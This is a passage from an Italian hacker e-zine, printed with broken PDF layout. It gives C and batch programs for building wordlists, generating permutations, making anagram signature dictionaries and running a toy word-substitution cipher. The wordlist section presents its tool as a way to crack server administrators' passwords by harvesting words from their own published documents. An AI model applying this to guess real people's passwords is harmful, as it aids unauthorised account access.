0
0
0
1
0
1
0
0
1
1
1
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
1
2
1
3
10
1
1
1
0
-fine-----------------------------::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
Pagina 80
netrun9.txt
sintassi
AUTOMAC file_script
Se a qualcuno interessa trovate nel file archivio.ace citato all'inizio anche
un controllore
di carichi in VB che sfrutta una dll scritta in C per leggere e scrivere
singoli byte su una
porta prefissata. VBIO.DLL
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
. - .
//-------------------------------------------------------------------------------------------------18. Creare un dizionario da un file di testo
//-------------------------------------------------------------------------------------------------(ps: . cosa strana.
E' un programma semplice ma sovente mette chi programma in serie difficolta'..
chissa' perche!?)
Spesso e' necessario avere a disposizione per i motivi piu' svariati (cracking
delle password,
bruteforce, ecc..) un buon dizionario di vocaboli da -provare-.
Se ne trovano molti in rete ma farsene uno da soli ha sempre un certo fascino.
Si consideri anche l'utilita' in certi casi:
1. spesso gli amministratori di server proteggono le loro macchine con password
non proprio di fantasia:
per essere sicuri di ricordarsele usano sempre le stesse parole o frasi
caratteristiche
magari modificate di poco,
2. gli stessi mettono su i loro server manulistica e specifiche dei servizi
offerti scritti di
loro pugno e lasciati a pubblica disposizione (spesso per invogliare ad
accedere alle risorse
a pagamento)
3. ognuno di noi anche se la cosa puo' a prima vista non sembrare cosi' usa per
scrivere
un vocabolario di parole relativamente limitato a quello conosciuto.
da queste tre occorrenze e' facile capire l'utilita' di un dizionario stilato
sulla base delle
parole -usate- dagli amministratori al fine di scoprire eventuali passwords da
loro ideate.
Come si fa? .. la ricetta e'presto fatta:
Serve un file in formato testo lungo a piacere.
Pagina 81
netrun9.txt
Tramite la comodissima funzione fscanf che immette in una stringa
sequenzialmente tutte le parole
contenute in un testo e separate da spazi.. si crea un file secondario con
tutte le parole trovate
in lista non ordinata.
Grazie al Sort del dos e' ora possibile ordinare la lista disordinata.
Resta ancora il problema piu' gravoso eliminare tutti i doppioni che
sicuramente saranno
la maggioranza.
Per questo e' sufficiente scorrere tutta la lista immettendo la pima parola in
una variabile di
controllo (chiamiamola A0 ) stampandola e confrontarla con la seconda.
Se la seconda e' uguale alla prima si passa a valutare la terza e cosi' via.
Quando la n'sima Parola e' diversa da A0 la si stampa e si mette quest'ultima
in A0 continuando
fina alla fine della lista ordinata.
in pratica cosi':
P(n) == Parola alla locazione n
...
|
|
+----------+
|
n=0
|
+----------+
|
|<-------------------------+
|
|
+----------+
|
| A0=P(n) |
|
+----------+
|
|
|
+<----------------+
|
|
|
|
/ \
|
|
/? s\___________+---------+ |
\
/
| n=n+1 | |
\n/ P(n+1)=A0 +---------+ |
|
|
|
|
/ \
|
/? n\________________________+
\
/
\s/ Fine lista
|
|
Fine
-Stampando- tutte le parole diverse trovate in un terzo file avremo la lista
ordinata e senza
doppioni.. ovvero il file dizionario relativo al testo iniziale.
Il programma:
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
TXT2DIZ.C
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
Pagina 82
#include
#include
#include
#include
#include
<stdio.h>
<stdlib.h>
<string.h>
<ctype.h>
<conio.h>
netrun9.txt
char *tolo(char *a);
char *mid(char *str,int pos,int nc);
int instr(char *st1,char *st2,int pos);
char *cambia(char *str, char *da, char *a);
// tutto2 file_input file_output [ lista_char ] [ opzione -[m|M] ]
// es lista_char ancbfhtg123 .. a-z012345
a-z0-9 A-Za-z0-9
main(int nf,char **file)
{
FILE *in,*out;
unsigned char s[200],s1[200];
unsigned char ca[200];
int n,n1,x,y,tro,min=1;
long cc,dd;
// -------------- controllo
parametri-----------------------------------------------------------if(nf<2||nf>5)
{
textcolor(YELLOW);
textbackground(BLUE);
cprintf("\r\n+----------------------------------------------------------------------------+\r\n");
cprintf("| TXT2DIZ
file_input.txt File_output.txt [lista_caratteri]
[
-[m|M ]
|\r\n");
cprintf("+---------+---------------+----------------+-------------------+-------------+\r\n");
cprintf("|
| File di testo | Nome del file | lista caratteri
|
converte le |\r\n");
cprintf("| (c)2k
| da elaborare. | dizionario da | gli unici citati |
lettere da
|\r\n");
cprintf("| Master |
| creare.
| saranno ritenuti |
maiuscole in |\r\n");
cprintf("|
|
+---------------+----------------+ validi.
|
minuscole.
|\r\n");
cprintf("|
|
_______________________
| es: abcsjkej123&' | -m =
ON
|\r\n");
cprintf("|
\\_____ / www.spippolatori.com \\_\\_
|
a-z0-9
|
-M = OFF
|\r\n");
cprintf("|
\\_______________________/ /
|
A-Za-z0-9'
|
default = ON |\r\n");
cprintf("|
|
a-z'@
|
|\r\n");
cprintf("+-------------------------+----------------+-------------------+-------------+\r\n");
cprintf(" ES: TXT2DIZ testo.txt dizion.txt (senza parametri = 'a-z0-9 -m)
\r\n");
cprintf("
TXT2DIZ testo.txt dizion.txt A-Za-z0-9'@_- -M
\r\n");
cprintf("
TXT2DIZ testo.txt dizion.txt aeioucdefgh1238'=)(=?A-Z -M
\r\n");
cprintf("
TXT2DIZ testo.txt dizion.txt abcdef02468
\r\n");
cprintf("
\r\n");
textcolor(LIGHTGRAY);
textbackground(BLACK);
cprintf("
Pagina 83
}
\r\n");
exit(0);
netrun9.txt
if(nf==3)
{
min=1;
file[3]="'a-z0-9";
}
if(nf==5)
{
if(strstr(file[4],"-m"))min=1;
else min=0;
}
//
--------------------------------------------------------------------------------------------// -------------- trasformazione degli acronimi
------------------------------------------------strcpy(ca,file[3]);
strcpy(ca,cambia(ca,"a-z","abcdefghijklmnopqrstuvwxyz"));
strcpy(ca,cambia(ca,"A-Z","ABCDEFGHIJKLMNOPQRSTUVWXYZ"));
strcpy(ca,cambia(ca,"0-9","0123456789"));
//
--------------------------------------------------------------------------------------------// -------------- passo 1
----------------------------------------------------------------------in=fopen(file[1],"rb");
out=fopen("passa","wb");
printf("\npasso 01 : individuazione delle parole e composti \n");
x=wherex();y=wherey();cc=0;
while(!feof(in))
{
fscanf(in,"%s",s);
gotoxy(x,y);
cprintf("Parole : %ld",cc++);
for(n=0;n<strlen(s);n++)
{
if(min==1)s[n]=tolower(s[n]);
tro=0;
for(n1=0;n1<strlen(ca);n1++)
if(s[n]==ca[n1]){tro=1;break;};
if(tro==0)s[n]=32;
}
fprintf(out,"%s ",s);
}
fclose(in);fclose(out);
//
--------------------------------------------------------------------------------------------// -------------- passo 2
----------------------------------------------------------------------printf("\npasso 02 : creazione della lista sequenziale disordinata\n");
x=wherex();y=wherey();cc=0;
in=fopen("passa","rb");
out=fopen("passa2","wb");
while(!feof(in))
{
fscanf(in,"%s",s);
gotoxy(x,y);
Pagina 84
cprintf("Parole : %ld",cc++);
netrun9.txt
fprintf(out,"%s\r\n",s);
}
fclose(in);fclose(out);
remove("passa");
//
--------------------------------------------------------------------------------------------// -------------- passo 3
----------------------------------------------------------------------printf("\npasso 03 : ordinamento della lista\n");
system("sort passa2 > passa3");
remove("passa2");
//
--------------------------------------------------------------------------------------------// -------------- passo 4
----------------------------------------------------------------------printf("passo 04 : elimininazione dei doppioni\n");
in=fopen("passa3","rb");
out=fopen(file[2],"wb");
strcpy(s1,"*");
x=wherex();y=wherey();cc=0;dd=0;
while(!feof(in))
{
su:
fscanf(in,"%s",s);
gotoxy(x,y);
cprintf("Parole esaminate %ld, scartate %ld, estratte %ld",cc++,cc-dd,dd);
if(strstr(s,s1)&&(strlen(s)==strlen(s1))&&!feof(in))goto su;
fprintf(out,"%s\r\n",s);dd++;
strcpy(s1,s);
}
fclose(in);fclose(out);
remove("passa3");
printf("\nFinito!");
}
//
--------------------------------------------------------------------------------------------// -------------- converte una stringa in caratteri minuscoli
----------------------------------char *tolo(char *a){
int i=0;
char *c=(char *)malloc(strlen(a)+2);
while((c[i]=tolower(a[i]))!=0)i++;
return(c);
}
//
--------------------------------------------------------------------------------------------// -------------- funzioni mid/instr/cambia
----------------------------------------------------char *mid(char *str,int pos,int nc)
Pagina 85
{
}
netrun9.txt
char s[0xff];
int n,k=0;
for(n=pos;n<=pos+nc-1;n++)
s[k++]=str[n];
s[k]=0;
return(s);
char *cambia(char *str, char *da, char *a)
{
char s[0xff];
int pos=instr(str,da,0),k;
if(pos<0)return(str);
strcpy(s,mid(str,0,instr(str,da,0)));
strcat(s,a);
k=instr(str,da,0)+strlen(da);
strcat(s,mid(str,k,strlen(str)-k));
return(s);
}
int instr(char *st1,char *st2,int pos)
{
int tro,n,m;
for(n=pos;n<=strlen(st1)-strlen(st2);n++){
tro=1;
for(m=n;m<=n+strlen(st2)-1;m++)
if(st1[m]!=st2[m-n])tro=0;
if(tro==1)return(n);}
return(-1);
}
//
--------------------------------------------------------------------------------------------::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
Compilando TXT2DIZ e chiamando l'eseguibile senza parametri si avra' la
corretta sintassi
e l'help.
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
. - .
//-------------------------------------------------------------------------------------------------19. Permutazioni
//-------------------------------------------------------------------------------------------------Un piccolo tool veramente minimo per ottere tutte le permutazioni di una
parola.
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
PERM.C
Pagina 86
netrun9.txt
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
#include <stdio.h>
#include <string.h>
void fai(char *a,int i,int l){
int t;char *q;
if(i<l){
if(NULL==(q=malloc(l+1)))
exit(100);
strcpy(q, a);
for(t=i;t<l;++t){
int p;
if((t==i)||(q[t]!=q[i])){
p=q[t];q[t]=q[i];q[i]=p;
fai(q,i+1,l);}}
free(q);}
else puts(a);}
int main(int nf,char **argv){
fai(argv[1],0,strlen(argv[1]));}
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
con PERM parola > Output.txt
si otterra' un file Output.txt contenente tutte le permutazioni della -parolaindicata.
Attenzione! .. con parolo piu' lunghe di 10/11 caratteri tutti diversi si
ottiene un numero
elevatissimo di permutazioni creando file enormi che potrebbero danneggiare il
vostro hd..
tenete conto che il programma in C crea questi file in pochissimi secondi.
es:
N.Caratteri
7
8
9
10
11
Parola
abcdefg
abcdefgh
abcdefghi
abcdefghij
abcdefghijk
Dimensioni del file d'uscita
45k
400k
4M
40M
400M
ecc...
il numero di permutazioni trovate per parole con carateri tutti diversi e'
n. caratteri della parola = C
N. permutazioni trovate
= C! (ovviamente ;-) )
Il programma pero' scarta le permutazioni simili quindi con parole anche piu'
lunghe di
10 caratteri ma con caratteri uguali al proprio interno si ottengono un numero
di permutazioni
ridotto.
Es.
N.Caratteri
9
10
ecc..
Parola
deleterie
contestata
Dimensioni del file d'uscita
2M (invece di 4M)
25M (invece di 40M)
ma in generale il discorso sull'attenzione vale lo stesso.
es. Di file d'uscita
PERM roma > ok.txt
Pagina 87
netrun9.txt
-------------------------ok.txt
roma
roam
rmoa
rmao
raom
ramo
orma
oram
omra
omar
oarm
oamr
mroa
mrao
mora
moar
maro
maor
arom
armo
aorm
aomr
amro
amor
-------------------------
visto che originariamente me lo avevano chiesto in visual basic ;-)
-----------------------------------------Permutazioni in basic
-----------------------------------------Dim buf As String
Private Sub fai(a, i, l)
DoEvents
If (i < l) Then
q = a
For t = i To l - 1
z = Mid$(q, i + 1, 1)
If (t = i Or Mid$(a, t + 1, 1) <> z) Then
p = Mid$(q, t + 1, 1)
Mid$(q, t + 1, 1) = z
Mid$(q, i + 1, 1) = p
fai q, i + 1, l
End If
Next
Else
buf = buf + a + vbCrLf
End If
End Sub
Private Sub Command1_Click()
fai Text1, 0, Len(Text1)
Text2 = buf
End Sub
-----------------------------------------un form.. una casella di testo text1 per inserire la parola da permutare
una casella di testo text2 per vedere il risultato.
Stesso algoritmo, stessa procedura convertita.
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Pagina 88
netrun9.txt
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
. - .
//-------------------------------------------------------------------------------------------------20. Parole composte
//-------------------------------------------------------------------------------------------------Il problema nasce dal -come trovare- rapidamente le parole composte da un certo
insieme di caratteri.
Quelli non piu' giovincelli si ricorderanno sicuramente il programma
"paroliamo" nel quale due
concorrenti si sfidavano a trovare la parola piu' lunga di senso comune dato un
insieme di 10 lettere
scelte a caso tra vocali e consonanti.
All'epoca mi posi subito il problema di come poter fare un programma al
computer che trovasse tutte
le parole -composte- da un determinato gruppo di lettere scegliendole da un
dizionario.
La prima prova si fa sempre nel modo sbagliato... si cercano le permutazioni
dell'insieme di
lettere e si guarda nel dizionario se ognuna di queste permutazioni e' una
parola di senso compiuto.
E' un lavoro folle!.. :)) Come avete potuto notare appena sopra (al programma
permutazioni) le
permutazioni di una parola di 10 lettere producono un file di parole (solo
testo) che puo' arrivare
tranquillamente a 40 Mb .. ovvero a 10! parole.
mettendo quindi un dizionario di 20.000 parole dovremmo controllare 3.628.800
parole x 20.000 parole
diverse.
Sarebbero necessari 7.25 * 10^10 passaggi divversi di programma.
Mettendo di avere un computer MOLTO veloce i grado di eseguirne 100000
(centomila) al secondo
impiegheremmo cmq piu' di 8 giorni per fare questa verifica.
..eh si!..ma il computer che usavano a paroliamo era un semplice 8088 e il
calcolo lo faceva quasi
immediatamente.. oh allora?
he he .. ma c'e' un trucco!
Ogni parola ha una una sua -firma caratteristica- rappresentata
dall'ordinamento delle lettere che
la compongono.
aaacceiirrsttt -> caratteristica
aaaccirtt
-> raccattai
aaaccirtt
-> tracciata
ecc..
come vedete "raccattai" e "tracciata" hanno la stessa firma. Cio' significa che
sono due parole composte
dalle stesse lettere.
Il computer del programma paroliamo aveva quindi un dizionario di firme!
Ovvero un dizionario con una serie di firme ordinate con a fianco la lista
delle parole che e' possibile
comporre con quella determinata firma.
Pagina 89
netrun9.txt
Agli autori bastava cercare la firma corrispettiva con i caratteri ordinati
presi a caso dai concorrenti
per trovare sul dizionario delle firme tutte le parole di senso compiuto
costruibili con la stessa.
Un dizionario di firme e' un dizionario che si presenta cosi'..
---------------------------------------aaaaaglmmt amalgamata
aaaaaglmmv amalgamava
aaaabbeitv abbaiavate
aaaabbgilt abbagliata
aaaabbgilv abbagliava
aaaabbimov abbaiavamo
aaaabbinov abbaiavano
aaaabbirrt arrabbiata
aaaabbirrv arrabbiava
aaaabbit abbaiata
aaaabbiv abbaiava
aaaabbnstz abbastanza
aaaabbsst abbassata
aaaabbssv abbassava
aaaabcimst ambasciata
aaaabeflnt analfabeta
aaaabllrtt traballata
aaaabllrtv traballava
aaaabrttt barattata
aaaabrttv barattava
aaaacccist accasciata
aaaacccisv accasciava
aaaaccestv accasavate
aaaaccffit affacciata
aaaaccffiv affacciava
aaaaccillt allacciata
aaaaccillv allacciava
aaaacclmt acclamata
aaaacclmv acclamava
aaaacclort accalorata
aaaacclorv accalorava
aaaacclstv scavalcata
aaaacclsvv scavalcava
aaaaccmosv accasavamo
aaaaccmpt accampata
aaaaccmpv accampava
aaaaccnosv accasavano
aaaaccrttt raccattata
aaaaccrttv raccattava
aaaaccst accasata
aaaaccsv accasava
aaaaccttt attaccata
aaaaccttv attaccava
aaaaceirrtttzz caratterizzata
aaaacemmtv ammacavate
aaaacffitt affaticata
aaaacffitv affaticava
aaaacffnrt affrancata
aaaacffnrv affrancava
aaaacfrsst fracassata
aaaacfrssv fracassava
aaaacggint agganciata
aaaacgginv agganciava
aaaaclnpst spalancata
aaaaclnpsv spalancava
aaaacmmmov ammacavamo
aaaacmmnov ammacavano
aaaacmmt ammacata
aaaacmmv ammacava
aaaacnnqtu annacquata
aaaacnnquv annacquava
Pagina 90
aaaacnnrtt
tracannata
netrun9.txt
...
---------------------------------------come e' possibile costruirlo?
Semplicissimo. Dopo essersi creati un dizionario di parole da dei testi presi a
caso col programma
presentato sopra lo passeremo al seguente programma ..
-------------------------- paroliamo.c
#include <stdio.h>
#include <string.h>
main(int nf,char **f){
FILE *v1;
int p,c,n;
char s1[40],s2[40],pa;
v1=fopen(f[1],"rb");
while(!feof(v1)){
fscanf(v1,"%s",s1);
strcpy(s2,s1);
p=strlen(s1);
c=1;
while(c==1){
c=0;
for(n=0;n<p-1;n++)
if(s1[n]>s1[n+1]){
pa=s1[n];
s1[n]=s1[n+1];
s1[n+1]=pa;
c=1;}}
printf("%s %s\n",s1,s2);}
fclose(v1);}
-------------------------es PAROLIAM
testo.txt > parol.txt
.. e' possibile processare anche file di testo piccoli per ottenere le firme
caratteristiche.
facciamo l'esempio di voler ottenere il dizionario delle firme dal semplice
testo:
---------------------file FRASE.TXT
tanto va la gatta al lardo che ci lascia lo zampino
--------------------useremo il programma TXT2DIZ per ottenere il dizionario delle parole di testo
compiuto:
txt2diz FRASE.TXT DIZ.TXT a-z
otterremo il seguente file DIZ.TXT
---------------------DIZ.TXT
Pagina 91
al
che
ci
gatta
la
lardo
lascia
lo
tanto
va
zampino
---------------------
netrun9.txt
passando questo file al programma PAROLIAMO troveremo ils eguente dizionario
FIRME.TXT
PAROLIAMO DIZ.TXT > FIRME.TXT
---------------------FIRME.TXT
al al
ceh che
ci ci
aagtt gatta
al la
adlor lardo
aacils lascia
lo lo
anott tanto
av va
aimnopz zampino
--------------------ordinato con SORT FIRME.TXT > FIRME2.TXT
otterremo il file finale
---------------------FIRME2.TXT
aacils lascia
aagtt gatta
adlor lardo
aimnopz zampino
al al
al la
anott tanto
av va
ceh che
ci ci
lo lo
--------------------Il procedimento per la costruzione di dizionari di firme anche molto
complessi
e' esattamente lo stesso.
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
. - .
Pagina 92
netrun9.txt
//-------------------------------------------------------------------------------------------------21. Cifrature / riduzioni di testo da vocabolari bilanciati
//-------------------------------------------------------------------------------------------------E' un'idea bislacca che mi e' venuta in relazione ad una richiesta che mi era
stata fatta
sul ng alt.hackers diverso tempo fa da un -esploratore delle parole-. ;-)
.. cifrare un testo mescolando le parole in esso contenute (o convertendole
sulla
base di un secondo dizionario) per poi tornare tramite un algoritmo di
decodifica al
testo originale.
Il tutto potendo scegliere una chiave di cifratura comune da non doversi
trasferire assieme
al testo cifrato che dovrebbe contenere solo ed esclusivamente le parole
originali o un
insieme uguale di parole di senso compiuto tutte diverse,
Es:
essere o non essere
potrebbe venire cosi' :
" scatola tuorlo albino scatola "
permettendo pero' tramite qualche procedura di risalire alla frase originale!.
L'idea originale era questa.. se ogni parola potesse essere rappresentata con
uno o due byte massimo
si potrebbe operare una precompressione su un file di testo fino a portarlo a
dimensioni
veramente minimi.
In effetti la cosa e' possibile.. basta avere un dizionario di parole ben
strutturato, numerare
le parole da 1 a N e sostituire poi le parole con il loro indice all'interno
del dizionario stesso.
Es: se avessimo un dizionario fromato da queste parole:
------------------------1 il
2 gionro
3 notte
4 mattino
5 oro
6 l'oro
7 davanti
8 massimizzare
9 ha
A in
B tasca
C bocca
ecc..
-------------------------potremmo convertire la frase "Il mattino ha l'oro in bocca" con l'equivalende
indicizzato
il = 01
mattino = 04
ha = 09
l'oro = 06
in = 0A
bocca = 0C
Pagina 93
netrun9.txt
==
del 78%
010409060A0C
6 Byte al posto di 28 .. un livello di compressione
Ovviamente per la ricostruzione del testo servirebbero delle librerie run_time
.. he he
nel nostro caso il dizionario necessario alla compressione.
Si consideri che 1 byte e' sufficiente a comprimere 256 parole, 2 byte 65536 e
3 byte ben
16.777.216 parole.
E' facile vedere come con 2 byte (65536 parole diverse!) sia possibile
dichiarare un dizionario
tale da poter esprimere in forma compressa qualunque concetto se si escludono i
tipi prolissi
come me. ;-)
Tutto chiaro fin qui ?
.. ok. Andiamo avanti.
Una volta ottenuta la stringa compressa di valori esadecimali (o decimali ..
non ha importanza!)
da questa e' possibile avere in uscita un testo adattato ad un secondo
vocabolario strutturato
esattamente sulla base del primo ma con le parole ordinate in diversa maniera.
Facciamo ancora un esempio pratico:
Abbiamo il vocabolario
VOCAB1
------------------------1 il
2 gionro
3 notte
4 mattino
5 oro
6 l'oro
7 davanti
8 massimizzare
9 ha
A in
B tasca
C bocca
ecc..
-------------------------ne creiamo una versione VOCAB2 ordinata in diversa maniera .. (a caso .. poi
vedremo come
farlo seguendo una chiave o una regola logica.)
------------------------1 tasca
2 bocca
3 ha
4 notte
5 mattino
6 oro
7 l'oro
8 davanti
9 gionro
A massimizzare
B il
C in
ecc..
--------------------------
Pagina 94
netrun9.txt
Abbiamo la frase da cifrare : "Il mattino ha l'oro in bocca"
Procederemo cosi':
Da VOCAB1 ricaviamo la stringa compressa
010409060A0C
sostituendo ai valori numerici il corrispettivo letterale da VOCAB2 otteniamo
"tasca notte giorno oro massimizzare in"
.. la cosa funziona. Ma cosa c'e' di sbagliato ? ..
Avendo a disposizione VOCAB1 e VOCAB2 e' possibile da una frase risalire
all'altra facendo
il procedimento inverso.
Il vocabolario di partenza potrebbe essere in comune tra due utenti che
intendono scambiarsi
messaggi cifrati, ma la chiave?
Io ho optato per questa soluzione,
Il SORT del dos offre nelle ultime versioni l'opportunita di ordinare unalista
inbase alla
colonna N del file di testo considerato.
es SORT /+3 pippo > pippo2
ordina il file pippo in base alla colonna 3.
(3 sarebbe la chiave)
AVendo a disposizione un vocabolario comune VOCAB1 si potrebbe fare una copia
di questo
chiamandola VOCAB2 e ordinare il primo secondo con chiave A e il secondo con
chiave B.
A questo punto avremmo una chiave di decodifica AB che potremmo rendere nota ai
nostri interlocutori
per permettergli la successiva decodifica dei nostri messaggi cosi'
bislaccamente cifrati. ;-)
Vediamo i programmi necessari ad ottenere tutto questo.
TRO <vocabolario>
<testo>
> <output>
TRO trova le corrispondenze d'indice di un file di <testo> da cifrare con un
determinato file
<vocabolario> e le mette nel file <output>
DEC <vocabolario> <testo> > <output>
DEC dato un file di corrispondenze d'indice <testo> le associa alle parole
presenti in un determinato
<vocabolario> e le mette nel file <output>
CODIFICA
<testo> <output>
esegue automaticamente la codifica del file di <testo> trvando le
corrispondenze su un vocabolario
chiamato VOCAB1.TXT e le associa con un altro vocabolario chiamato VOCAB2.TXT
.. scrive il
risultato nel file <output>
DECODIFICA
<testo> <output>
l'inverso di codifica ovviamente. ;-)
Pagina 95
netrun9.txt
CHIAVE <A> <B>
ordina i vocabolari chiamati VOCAB1.TXT e VOCAB2.TXT secondo le chiavi di
ordinamento a colonna
<A> e <B>
I programmi:
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
TRO.C
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
#include <stdio.h>
#include <conio.h>
unsigned int hs(char *cptr){
unsigned int i, j = 0;
while (cptr && *cptr && isxdigit(*cptr))
{
i=*cptr++-'0';
if(9<i)i-=7;
j<<=4;
j|=(i&0x0f);
}
return(j);
}
main(int nf,char **f)
{
FILE *vocab,*testo;
long c=0;
char s[30],s1[30];
vocab=fopen(f[1],"rb");
testo=fopen(f[2],"rb");
while(!feof(testo))
{
fscanf(testo,"%s",s);
rewind(vocab);c=0;
while(!feof(vocab))
{
fscanf(vocab,"%s",s1);c++;
if((strlen(s)==strlen(s1))&&strstr(s,s1))
{
printf(" %ld",c);
goto ancora;
}
}
printf(" (%s)",s);
ancora:
}
}
fclose(vocab);
fclose(testo);
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
DEC.C
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Pagina 96
:::::::::::::::::::
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
netrun9.txt
unsigned int hs(char *cptr){
unsigned int i, j = 0;
while (cptr && *cptr && isxdigit(*cptr))
{
i=*cptr++-'0';
if(9<i)i-=7;
j<<=4;
j|=(i&0x0f);
}
return(j);
}
main(int nf,char **f)
{
FILE *vocab,*testo;
long c=0;
char s[30],s1[30];
vocab=fopen(f[1],"rb");
testo=fopen(f[2],"rb");
while(!feof(testo))
{
fscanf(testo,"%s",s);
if(s[0]=='(')
{
printf(" %s",s);
}
else
{
rewind(vocab);
for(c=0L;c<atol(s);c++)
fscanf(vocab,"%s",s1);
printf(" %s",s1);
}
}
fclose(vocab);
fclose(testo);
}
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
CODIFICA.BAT
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
@ECHO ATTENDI..
@tro vocab.txt %1 > passa
@ECHO ANCORA UN ATTIMO..
@dec vocab2.txt passa > %2
@del passa
@ECHO FINITO! ;-)
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
DECODIFICA.BAT
Pagina 97
netrun9.txt
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
@ECHO ATTENDI..
@tro vocab2.txt %1 > passa
@ECHO ANCORA UN ATTIMO..
@dec vocab.txt passa > %2
@del passa
@ECHO FINITO! ;-)
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
CHIAVE.BAT
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
@ECHO ORGANIZZO IL VOCABOLARIO
@SORT vocab.txt > passa
@del vocab.txt
@del vocab2.txt
@ECHO CREO LA PRIMA CHIAVE
@SORT /+%1 passa > vocab.txt
@ECHO CREO LA SECONDA CHIAVE
@SORT /+%2 passa > vocab2.txt
@del passa
@ECHO FINITO! ;-)
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
metodo pratico di utilizzo.
Abbiamo N utenti del cifrario che intendono comunicarsi degli originali
messaggi cifrati.
1. Si stabilisce un vocabolario standard di parole e lo si distribuisce a
tutti gli interessati.
2. ogni utente si fara' una copia del vocabolario chiamando il primo
VOCAB1.TXT e il seconodo
VOCAB2.TXT
3. Si stabilira' per un certo periodo di comunue accordo tra tutti gli
interessati di usare
una determinata chiave AB (con A e B numeri interi X tali che 1<=X<=9 )
all'atto della cifratura si procedera' cosi':
Si metteranno nella stessa directory i programmi:
TRO.EXE, DEC.EXE, DECODIFICA.BAT, CODIFICA.BAT, CHIAVE.BAT, VOCAB1.TXT,
VOCAB2.TXT, testo.txt
(testo.txt contiene il messaggio da cifrare o il cifrato da trasportare in
chiaro)
CHIAVE A B
(per organizzare i vocabolari secondo la chiave)
per codificare:
CODIFICA testo.txt
CIFRATO.TXT
per decodificare:
DECODIFICA CIFRATO.TXT testo.txt
.. e' un buon sistema?
.. e' sicuro? .. probabilmente no;
Pagina 98
netrun9.txt
ma quale sistema e' sicuro? ;-)
.. serve a qualcosa ? ..mah .. chi puo' dirlo?.. io mi sono divertito a farlo,
spero anche voi
vi siate divertiti nel leggerlo e/o nel provarlo. :))
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
